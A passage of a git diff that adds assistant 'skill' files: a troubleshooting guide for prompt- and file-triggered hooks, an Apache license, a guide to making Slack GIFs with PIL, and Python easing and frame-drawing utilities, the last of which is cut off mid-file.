- Complete skill-rules.json schema +- [PATTERNS_LIBRARY.md](PATTERNS_LIBRARY.md) - Ready-to-use pattern library diff --git a/skills/skill-developer/TROUBLESHOOTING.md b/skills/skill-developer/TROUBLESHOOTING.md new file mode 100644 index 00000000..f8cd3d38 --- /dev/null +++ b/skills/skill-developer/TROUBLESHOOTING.md @@ -0,0 +1,514 @@ +# Troubleshooting - Skill Activation Issues + +Complete debugging guide for skill activation problems. + +## Table of Contents + +- [Skill Not Triggering](#skill-not-triggering) + - [UserPromptSubmit Not Suggesting](#userpromptsubmit-not-suggesting) + - [PreToolUse Not Blocking](#pretooluse-not-blocking) +- [False Positives](#false-positives) +- [Hook Not Executing](#hook-not-executing) +- [Performance Issues](#performance-issues) + +--- + +## Skill Not Triggering + +### UserPromptSubmit Not Suggesting + +**Symptoms:** Ask a question, but no skill suggestion appears in output. + +**Common Causes:** + +#### 1. Keywords Don't Match + +**Check:** +- Look at `promptTriggers.keywords` in skill-rules.json +- Are the keywords actually in your prompt? +- Remember: case-insensitive substring matching + +**Example:** +```json +"keywords": ["layout", "grid"] +``` +- "how does the layout work?" → ✅ Matches "layout" +- "how does the grid system work?" → ✅ Matches "grid" +- "how do layouts work?" → ✅ Matches "layout" +- "how does it work?" → ❌ No match + +**Fix:** Add more keyword variations to skill-rules.json + +#### 2. Intent Patterns Too Specific + +**Check:** +- Look at `promptTriggers.intentPatterns` +- Test regex at https://regex101.com/ +- May need broader patterns + +**Example:** +```json +"intentPatterns": [ + "(create|add).*?(database.*?table)" // Too specific +] +``` +- "create a database table" → ✅ Matches +- "add new table" → ❌ Doesn't match (missing "database") + +**Fix:** Broaden the pattern: +```json +"intentPatterns": [ + "(create|add).*?(table|database)" // Better +] +``` + +#### 3. Typo in Skill Name + +**Check:** +- Skill name in SKILL.md frontmatter +- Skill name in skill-rules.json +- Must match exactly + +**Example:** +```yaml +# SKILL.md +name: project-catalog-developer +``` +```json +// skill-rules.json +"project-catalogue-developer": { // ❌ Typo: catalogue vs catalog + ... +} +``` + +**Fix:** Make names match exactly + +#### 4. JSON Syntax Error + +**Check:** +```bash +cat .claude/skills/skill-rules.json | jq . +``` + +If invalid JSON, jq will show the error. + +**Common errors:** +- Trailing commas +- Missing quotes +- Single quotes instead of double +- Unescaped characters in strings + +**Fix:** Correct JSON syntax, validate with jq + +#### Debug Command + +Test the hook manually: + +```bash +echo '{"session_id":"debug","prompt":"your test prompt here"}' | \ + npx tsx .claude/hooks/skill-activation-prompt.ts +``` + +Expected: Your skill should appear in the output. + +--- + +### PreToolUse Not Blocking + +**Symptoms:** Edit a file that should trigger a guardrail, but no block occurs. + +**Common Causes:** + +#### 1. File Path Doesn't Match Patterns + +**Check:** +- File path being edited +- `fileTriggers.pathPatterns` in skill-rules.json +- Glob pattern syntax + +**Example:** +```json +"pathPatterns": [ + "frontend/src/**/*.tsx" +] +``` +- Editing: `frontend/src/components/Dashboard.tsx` → ✅ Matches +- Editing: `frontend/tests/Dashboard.test.tsx` → ✅ Matches (add exclusion!) +- Editing: `backend/src/app.ts` → ❌ Doesn't match + +**Fix:** Adjust glob patterns or add the missing path + +#### 2. Excluded by pathExclusions + +**Check:** +- Are you editing a test file? +- Look at `fileTriggers.pathExclusions` + +**Example:** +```json +"pathExclusions": [ + "**/*.test.ts", + "**/*.spec.ts" +] +``` +- Editing: `services/user.test.ts` → ❌ Excluded +- Editing: `services/user.ts` → ✅ Not excluded + +**Fix:** If test exclusion too broad, narrow it or remove + +#### 3. Content Pattern Not Found + +**Check:** +- Does the file actually contain the pattern? +- Look at `fileTriggers.contentPatterns` +- Is the regex correct? + +**Example:** +```json +"contentPatterns": [ + "import.*[Pp]risma" +] +``` +- File has: `import { PrismaService } from './prisma'` → ✅ Matches +- File has: `import { Database } from './db'` → ❌ Doesn't match + +**Debug:** +```bash +# Check if pattern exists in file +grep -i "prisma" path/to/file.ts +``` + +**Fix:** Adjust content patterns or add missing imports + +#### 4. Session Already Used Skill + +**Check session state:** +```bash +ls .claude/hooks/state/ +cat .claude/hooks/state/skills-used-{session-id}.json +``` + +**Example:** +```json +{ + "skills_used": ["database-verification"], + "files_verified": [] +} +``` + +If the skill is in `skills_used`, it won't block again in this session. + +**Fix:** Delete the state file to reset: +```bash +rm .claude/hooks/state/skills-used-{session-id}.json +``` + +#### 5. File Marker Present + +**Check file for skip marker:** +```bash +grep "@skip-validation" path/to/file.ts +``` + +If found, the file is permanently skipped. + +**Fix:** Remove the marker if verification is needed again + +#### 6. Environment Variable Override + +**Check:** +```bash +echo $SKIP_DB_VERIFICATION +echo $SKIP_SKILL_GUARDRAILS +``` + +If set, the skill is disabled. + +**Fix:** Unset the environment variable: +```bash +unset SKIP_DB_VERIFICATION +``` + +#### Debug Command + +Test the hook manually: + +```bash +cat <<'EOF' | npx tsx .claude/hooks/skill-verification-guard.ts 2>&1 +{ + "session_id": "debug", + "tool_name": "Edit", + "tool_input": {"file_path": "/root/git/your-project/form/src/services/user.ts"} +} +EOF +echo "Exit code: $?" +``` + +Expected: +- Exit code 2 + stderr message if should block +- Exit code 0 + no output if should allow + +--- + +## False Positives + +**Symptoms:** Skill triggers when it shouldn't. + +**Common Causes & Solutions:** + +### 1. Keywords Too Generic + +**Problem:** +```json +"keywords": ["user", "system", "create"] // Too broad +``` +- Triggers on: "user manual", "file system", "create directory" + +**Solution:** Make keywords more specific +```json +"keywords": [ + "user authentication", + "user tracking", + "create feature" +] +``` + +### 2. Intent Patterns Too Broad + +**Problem:** +```json +"intentPatterns": [ + "(create)" // Matches everything with "create" +] +``` +- Triggers on: "create file", "create folder", "create account" + +**Solution:** Add context to patterns +```json +"intentPatterns": [ + "(create|add).*?(database|table|feature)" // More specific +] +``` + +**Advanced:** Use negative lookaheads to exclude +```regex +(create)(?!.*test).*?(feature) // Don't match if "test" appears +``` + +### 3. File Paths Too Generic + +**Problem:** +```json +"pathPatterns": [ + "form/**" // Matches everything in form/ +] +``` +- Triggers on: test files, config files, everything + +**Solution:** Use narrower patterns +```json +"pathPatterns": [ + "form/src/services/**/*.ts", // Only service files + "form/src/controllers/**/*.ts" +] +``` + +### 4. Content Patterns Catching Unrelated Code + +**Problem:** +```json +"contentPatterns": [ + "Prisma" // Matches in comments, strings, etc. +] +``` +- Triggers on: `// Don't use Prisma here` +- Triggers on: `const note = "Prisma is cool"` + +**Solution:** Make patterns more specific +```json +"contentPatterns": [ + "import.*[Pp]risma", // Only imports + "PrismaService\\.", // Only actual usage + "prisma\\.(findMany|create)" // Specific methods +] +``` + +### 5. Adjust Enforcement Level + +**Last resort:** If false positives are frequent: + +```json +{ + "enforcement": "block" // Change to "suggest" +} +``` + +This makes it advisory instead of blocking. + +--- + +## Hook Not Executing + +**Symptoms:** Hook doesn't run at all - no suggestion, no block. + +**Common Causes:** + +### 1. Hook Not Registered + +**Check `.claude/settings.json`:** +```bash +cat .claude/settings.json | jq '.hooks.UserPromptSubmit' +cat .claude/settings.json | jq '.hooks.PreToolUse' +``` + +Expected: Hook entries present + +**Fix:** Add missing hook registration: +```json +{ + "hooks": { + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "$CLAUDE_PROJECT_DIR/.claude/hooks/skill-activation-prompt.sh" + } + ] + } + ] + } +} +``` + +### 2. Bash Wrapper Not Executable + +**Check:** +```bash +ls -l .claude/hooks/*.sh +``` + +Expected: `-rwxr-xr-x` (executable) + +**Fix:** +```bash +chmod +x .claude/hooks/*.sh +``` + +### 3. Incorrect Shebang + +**Check:** +```bash +head -1 .claude/hooks/skill-activation-prompt.sh +``` + +Expected: `#!/bin/bash` + +**Fix:** Add correct shebang to first line + +### 4. npx/tsx Not Available + +**Check:** +```bash +npx tsx --version +``` + +Expected: Version number + +**Fix:** Install dependencies: +```bash +cd .claude/hooks +npm install +``` + +### 5. TypeScript Compilation Error + +**Check:** +```bash +cd .claude/hooks +npx tsc --noEmit skill-activation-prompt.ts +``` + +Expected: No output (no errors) + +**Fix:** Correct TypeScript syntax errors + +--- + +## Performance Issues + +**Symptoms:** Hooks are slow, noticeable delay before prompt/edit. + +**Common Causes:** + +### 1. Too Many Patterns + +**Check:** +- Count patterns in skill-rules.json +- Each pattern = regex compilation + matching + +**Solution:** Reduce patterns +- Combine similar patterns +- Remove redundant patterns +- Use more specific patterns (faster matching) + +### 2. Complex Regex + +**Problem:** +```regex +(create|add|modify|update|implement|build).*?(feature|endpoint|route|service|controller|component|UI|page) +``` +- Long alternations = slow + +**Solution:** Simplify +```regex +(create|add).*?(feature|endpoint) // Fewer alternatives +``` + +### 3. Too Many Files Checked + +**Problem:** +```json +"pathPatterns": [ + "**/*.ts" // Checks ALL TypeScript files +] +``` + +**Solution:** Be more specific +```json +"pathPatterns": [ + "form/src/services/**/*.ts", // Only specific directory + "form/src/controllers/**/*.ts" +] +``` + +### 4. Large Files + +Content pattern matching reads entire file - slow for large files. + +**Solution:** +- Only use content patterns when necessary +- Consider file size limits (future enhancement) + +### Measure Performance + +```bash +# UserPromptSubmit +time echo '{"prompt":"test"}' | npx tsx .claude/hooks/skill-activation-prompt.ts + +# PreToolUse +time cat <<'EOF' | npx tsx .claude/hooks/skill-verification-guard.ts +{"tool_name":"Edit","tool_input":{"file_path":"test.ts"}} +EOF +``` + +**Target metrics:** +- UserPromptSubmit: < 100ms +- PreToolUse: < 200ms + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main skill guide +- [HOOK_MECHANISMS.md](HOOK_MECHANISMS.md) - How hooks work +- [SKILL_RULES_REFERENCE.md](SKILL_RULES_REFERENCE.md) - Configuration reference diff --git a/skills/slack-gif-creator/LICENSE.txt b/skills/slack-gif-creator/LICENSE.txt new file mode 100644 index 00000000..7a4a3ea2 --- /dev/null +++ b/skills/slack-gif-creator/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/slack-gif-creator/SKILL.md b/skills/slack-gif-creator/SKILL.md new file mode 100644 index 00000000..16660d8c --- /dev/null +++ b/skills/slack-gif-creator/SKILL.md @@ -0,0 +1,254 @@ +--- +name: slack-gif-creator +description: Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." +license: Complete terms in LICENSE.txt +--- + +# Slack GIF Creator + +A toolkit providing utilities and knowledge for creating animated GIFs optimized for Slack. + +## Slack Requirements + +**Dimensions:** +- Emoji GIFs: 128x128 (recommended) +- Message GIFs: 480x480 + +**Parameters:** +- FPS: 10-30 (lower is smaller file size) +- Colors: 48-128 (fewer = smaller file size) +- Duration: Keep under 3 seconds for emoji GIFs + +## Core Workflow + +```python +from core.gif_builder import GIFBuilder +from PIL import Image, ImageDraw + +# 1. Create builder +builder = GIFBuilder(width=128, height=128, fps=10) + +# 2. Generate frames +for i in range(12): + frame = Image.new('RGB', (128, 128), (240, 248, 255)) + draw = ImageDraw.Draw(frame) + + # Draw your animation using PIL primitives + # (circles, polygons, lines, etc.) + + builder.add_frame(frame) + +# 3. Save with optimization +builder.save('output.gif', num_colors=48, optimize_for_emoji=True) +``` + +## Drawing Graphics + +### Working with User-Uploaded Images +If a user uploads an image, consider whether they want to: +- **Use it directly** (e.g., "animate this", "split this into frames") +- **Use it as inspiration** (e.g., "make something like this") + +Load and work with images using PIL: +```python +from PIL import Image + +uploaded = Image.open('file.png') +# Use directly, or just as reference for colors/style +``` + +### Drawing from Scratch +When drawing graphics from scratch, use PIL ImageDraw primitives: + +```python +from PIL import ImageDraw + +draw = ImageDraw.Draw(frame) + +# Circles/ovals +draw.ellipse([x1, y1, x2, y2], fill=(r, g, b), outline=(r, g, b), width=3) + +# Stars, triangles, any polygon +points = [(x1, y1), (x2, y2), (x3, y3), ...] +draw.polygon(points, fill=(r, g, b), outline=(r, g, b), width=3) + +# Lines +draw.line([(x1, y1), (x2, y2)], fill=(r, g, b), width=5) + +# Rectangles +draw.rectangle([x1, y1, x2, y2], fill=(r, g, b), outline=(r, g, b), width=3) +``` + +**Don't use:** Emoji fonts (unreliable across platforms) or assume pre-packaged graphics exist in this skill. + +### Making Graphics Look Good + +Graphics should look polished and creative, not basic. Here's how: + +**Use thicker lines** - Always set `width=2` or higher for outlines and lines. Thin lines (width=1) look choppy and amateurish. + +**Add visual depth**: +- Use gradients for backgrounds (`create_gradient_background`) +- Layer multiple shapes for complexity (e.g., a star with a smaller star inside) + +**Make shapes more interesting**: +- Don't just draw a plain circle - add highlights, rings, or patterns +- Stars can have glows (draw larger, semi-transparent versions behind) +- Combine multiple shapes (stars + sparkles, circles + rings) + +**Pay attention to colors**: +- Use vibrant, complementary colors +- Add contrast (dark outlines on light shapes, light outlines on dark shapes) +- Consider the overall composition + +**For complex shapes** (hearts, snowflakes, etc.): +- Use combinations of polygons and ellipses +- Calculate points carefully for symmetry +- Add details (a heart can have a highlight curve, snowflakes have intricate branches) + +Be creative and detailed! A good Slack GIF should look polished, not like placeholder graphics. + +## Available Utilities + +### GIFBuilder (`core.gif_builder`) +Assembles frames and optimizes for Slack: +```python +builder = GIFBuilder(width=128, height=128, fps=10) +builder.add_frame(frame) # Add PIL Image +builder.add_frames(frames) # Add list of frames +builder.save('out.gif', num_colors=48, optimize_for_emoji=True, remove_duplicates=True) +``` + +### Validators (`core.validators`) +Check if GIF meets Slack requirements: +```python +from core.validators import validate_gif, is_slack_ready + +# Detailed validation +passes, info = validate_gif('my.gif', is_emoji=True, verbose=True) + +# Quick check +if is_slack_ready('my.gif'): + print("Ready!") +``` + +### Easing Functions (`core.easing`) +Smooth motion instead of linear: +```python +from core.easing import interpolate + +# Progress from 0.0 to 1.0 +t = i / (num_frames - 1) + +# Apply easing +y = interpolate(start=0, end=400, t=t, easing='ease_out') + +# Available: linear, ease_in, ease_out, ease_in_out, +# bounce_out, elastic_out, back_out +``` + +### Frame Helpers (`core.frame_composer`) +Convenience functions for common needs: +```python +from core.frame_composer import ( + create_blank_frame, # Solid color background + create_gradient_background, # Vertical gradient + draw_circle, # Helper for circles + draw_text, # Simple text rendering + draw_star # 5-pointed star +) +``` + +## Animation Concepts + +### Shake/Vibrate +Offset object position with oscillation: +- Use `math.sin()` or `math.cos()` with frame index +- Add small random variations for natural feel +- Apply to x and/or y position + +### Pulse/Heartbeat +Scale object size rhythmically: +- Use `math.sin(t * frequency * 2 * math.pi)` for smooth pulse +- For heartbeat: two quick pulses then pause (adjust sine wave) +- Scale between 0.8 and 1.2 of base size + +### Bounce +Object falls and bounces: +- Use `interpolate()` with `easing='bounce_out'` for landing +- Use `easing='ease_in'` for falling (accelerating) +- Apply gravity by increasing y velocity each frame + +### Spin/Rotate +Rotate object around center: +- PIL: `image.rotate(angle, resample=Image.BICUBIC)` +- For wobble: use sine wave for angle instead of linear + +### Fade In/Out +Gradually appear or disappear: +- Create RGBA image, adjust alpha channel +- Or use `Image.blend(image1, image2, alpha)` +- Fade in: alpha from 0 to 1 +- Fade out: alpha from 1 to 0 + +### Slide +Move object from off-screen to position: +- Start position: outside frame bounds +- End position: target location +- Use `interpolate()` with `easing='ease_out'` for smooth stop +- For overshoot: use `easing='back_out'` + +### Zoom +Scale and position for zoom effect: +- Zoom in: scale from 0.1 to 2.0, crop center +- Zoom out: scale from 2.0 to 1.0 +- Can add motion blur for drama (PIL filter) + +### Explode/Particle Burst +Create particles radiating outward: +- Generate particles with random angles and velocities +- Update each particle: `x += vx`, `y += vy` +- Add gravity: `vy += gravity_constant` +- Fade out particles over time (reduce alpha) + +## Optimization Strategies + +Only when asked to make the file size smaller, implement a few of the following methods: + +1. **Fewer frames** - Lower FPS (10 instead of 20) or shorter duration +2. **Fewer colors** - `num_colors=48` instead of 128 +3. **Smaller dimensions** - 128x128 instead of 480x480 +4. **Remove duplicates** - `remove_duplicates=True` in save() +5. **Emoji mode** - `optimize_for_emoji=True` auto-optimizes + +```python +# Maximum optimization for emoji +builder.save( + 'emoji.gif', + num_colors=48, + optimize_for_emoji=True, + remove_duplicates=True +) +``` + +## Philosophy + +This skill provides: +- **Knowledge**: Slack's requirements and animation concepts +- **Utilities**: GIFBuilder, validators, easing functions +- **Flexibility**: Create the animation logic using PIL primitives + +It does NOT provide: +- Rigid animation templates or pre-made functions +- Emoji font rendering (unreliable across platforms) +- A library of pre-packaged graphics built into the skill + +**Note on user uploads**: This skill doesn't include pre-built graphics, but if a user uploads an image, use PIL to load and work with it - interpret based on their request whether they want it used directly or just as inspiration. + +Be creative! Combine concepts (bouncing + rotating, pulsing + sliding, etc.) and use PIL's full capabilities. + +## Dependencies + +```bash +pip install pillow imageio numpy +``` diff --git a/skills/slack-gif-creator/core/easing.py b/skills/slack-gif-creator/core/easing.py new file mode 100755 index 00000000..772fa830 --- /dev/null +++ b/skills/slack-gif-creator/core/easing.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +""" +Easing Functions - Timing functions for smooth animations. + +Provides various easing functions for natural motion and timing. +All functions take a value t (0.0 to 1.0) and return eased value (0.0 to 1.0). +""" + +import math + + +def linear(t: float) -> float: + """Linear interpolation (no easing).""" + return t + + +def ease_in_quad(t: float) -> float: + """Quadratic ease-in (slow start, accelerating).""" + return t * t + + +def ease_out_quad(t: float) -> float: + """Quadratic ease-out (fast start, decelerating).""" + return t * (2 - t) + + +def ease_in_out_quad(t: float) -> float: + """Quadratic ease-in-out (slow start and end).""" + if t < 0.5: + return 2 * t * t + return -1 + (4 - 2 * t) * t + + +def ease_in_cubic(t: float) -> float: + """Cubic ease-in (slow start).""" + return t * t * t + + +def ease_out_cubic(t: float) -> float: + """Cubic ease-out (fast start).""" + return (t - 1) * (t - 1) * (t - 1) + 1 + + +def ease_in_out_cubic(t: float) -> float: + """Cubic ease-in-out.""" + if t < 0.5: + return 4 * t * t * t + return (t - 1) * (2 * t - 2) * (2 * t - 2) + 1 + + +def ease_in_bounce(t: float) -> float: + """Bounce ease-in (bouncy start).""" + return 1 - ease_out_bounce(1 - t) + + +def ease_out_bounce(t: float) -> float: + """Bounce ease-out (bouncy end).""" + if t < 1 / 2.75: + return 7.5625 * t * t + elif t < 2 / 2.75: + t -= 1.5 / 2.75 + return 7.5625 * t * t + 0.75 + elif t < 2.5 / 2.75: + t -= 2.25 / 2.75 + return 7.5625 * t * t + 0.9375 + else: + t -= 2.625 / 2.75 + return 7.5625 * t * t + 0.984375 + + +def ease_in_out_bounce(t: float) -> float: + """Bounce ease-in-out.""" + if t < 0.5: + return ease_in_bounce(t * 2) * 0.5 + return ease_out_bounce(t * 2 - 1) * 0.5 + 0.5 + + +def ease_in_elastic(t: float) -> float: + """Elastic ease-in (spring effect).""" + if t == 0 or t == 1: + return t + return -math.pow(2, 10 * (t - 1)) * math.sin((t - 1.1) * 5 * math.pi) + + +def ease_out_elastic(t: float) -> float: + """Elastic ease-out (spring effect).""" + if t == 0 or t == 1: + return t + return math.pow(2, -10 * t) * math.sin((t - 0.1) * 5 * math.pi) + 1 + + +def ease_in_out_elastic(t: float) -> float: + """Elastic ease-in-out.""" + if t == 0 or t == 1: + return t + t = t * 2 - 1 + if t < 0: + return -0.5 * math.pow(2, 10 * t) * math.sin((t - 0.1) * 5 * math.pi) + return math.pow(2, -10 * t) * math.sin((t - 0.1) * 5 * math.pi) * 0.5 + 1 + + +# Convenience mapping +EASING_FUNCTIONS = { + "linear": linear, + "ease_in": ease_in_quad, + "ease_out": ease_out_quad, + "ease_in_out": ease_in_out_quad, + "bounce_in": ease_in_bounce, + "bounce_out": ease_out_bounce, + "bounce": ease_in_out_bounce, + "elastic_in": ease_in_elastic, + "elastic_out": ease_out_elastic, + "elastic": ease_in_out_elastic, +} + + +def get_easing(name: str = "linear"): + """Get easing function by name.""" + return EASING_FUNCTIONS.get(name, linear) + + +def interpolate(start: float, end: float, t: float, easing: str = "linear") -> float: + """ + Interpolate between two values with easing. + + Args: + start: Start value + end: End value + t: Progress from 0.0 to 1.0 + easing: Name of easing function + + Returns: + Interpolated value + """ + ease_func = get_easing(easing) + eased_t = ease_func(t) + return start + (end - start) * eased_t + + +def ease_back_in(t: float) -> float: + """Back ease-in (slight overshoot backward before forward motion).""" + c1 = 1.70158 + c3 = c1 + 1 + return c3 * t * t * t - c1 * t * t + + +def ease_back_out(t: float) -> float: + """Back ease-out (overshoot forward then settle back).""" + c1 = 1.70158 + c3 = c1 + 1 + return 1 + c3 * pow(t - 1, 3) + c1 * pow(t - 1, 2) + + +def ease_back_in_out(t: float) -> float: + """Back ease-in-out (overshoot at both ends).""" + c1 = 1.70158 + c2 = c1 * 1.525 + if t < 0.5: + return (pow(2 * t, 2) * ((c2 + 1) * 2 * t - c2)) / 2 + return (pow(2 * t - 2, 2) * ((c2 + 1) * (t * 2 - 2) + c2) + 2) / 2 + + +def apply_squash_stretch( + base_scale: tuple[float, float], intensity: float, direction: str = "vertical" +) -> tuple[float, float]: + """ + Calculate squash and stretch scales for more dynamic animation. + + Args: + base_scale: (width_scale, height_scale) base scales + intensity: Squash/stretch intensity (0.0-1.0) + direction: 'vertical', 'horizontal', or 'both' + + Returns: + (width_scale, height_scale) with squash/stretch applied + """ + width_scale, height_scale = base_scale + + if direction == "vertical": + # Compress vertically, expand horizontally (preserve volume) + height_scale *= 1 - intensity * 0.5 + width_scale *= 1 + intensity * 0.5 + elif direction == "horizontal": + # Compress horizontally, expand vertically + width_scale *= 1 - intensity * 0.5 + height_scale *= 1 + intensity * 0.5 + elif direction == "both": + # General squash (both dimensions) + width_scale *= 1 - intensity * 0.3 + height_scale *= 1 - intensity * 0.3 + + return (width_scale, height_scale) + + +def calculate_arc_motion( + start: tuple[float, float], end: tuple[float, float], height: float, t: float +) -> tuple[float, float]: + """ + Calculate position along a parabolic arc (natural motion path). + + Args: + start: (x, y) starting position + end: (x, y) ending position + height: Arc height at midpoint (positive = upward) + t: Progress (0.0-1.0) + + Returns: + (x, y) position along arc + """ + x1, y1 = start + x2, y2 = end + + # Linear interpolation for x + x = x1 + (x2 - x1) * t + + # Parabolic interpolation for y + # y = start + progress * (end - start) + arc_offset + # Arc offset peaks at t=0.5 + arc_offset = 4 * height * t * (1 - t) + y = y1 + (y2 - y1) * t - arc_offset + + return (x, y) + + +# Add new easing functions to the convenience mapping +EASING_FUNCTIONS.update( + { + "back_in": ease_back_in, + "back_out": ease_back_out, + "back_in_out": ease_back_in_out, + "anticipate": ease_back_in, # Alias + "overshoot": ease_back_out, # Alias + } +) diff --git a/skills/slack-gif-creator/core/frame_composer.py b/skills/slack-gif-creator/core/frame_composer.py new file mode 100755 index 00000000..1afe4348 --- /dev/null +++ b/skills/slack-gif-creator/core/frame_composer.py @@ -0,0 +1,176 @@ +#!/usr/bin/env python3 +""" +Frame Composer - Utilities for composing visual elements into frames. + +Provides functions for drawing shapes, text, emojis, and compositing elements +together to create animation frames. +""" + +from typing import Optional + +import numpy as np +from PIL import Image, ImageDraw, ImageFont + + +def create_blank_frame( + width: int, height: int, color: tuple[int, int, int] = (255, 255, 255) +) -> Image.Image: + """ + Create a blank frame with solid color background. + + Args: + width: Frame width + height: 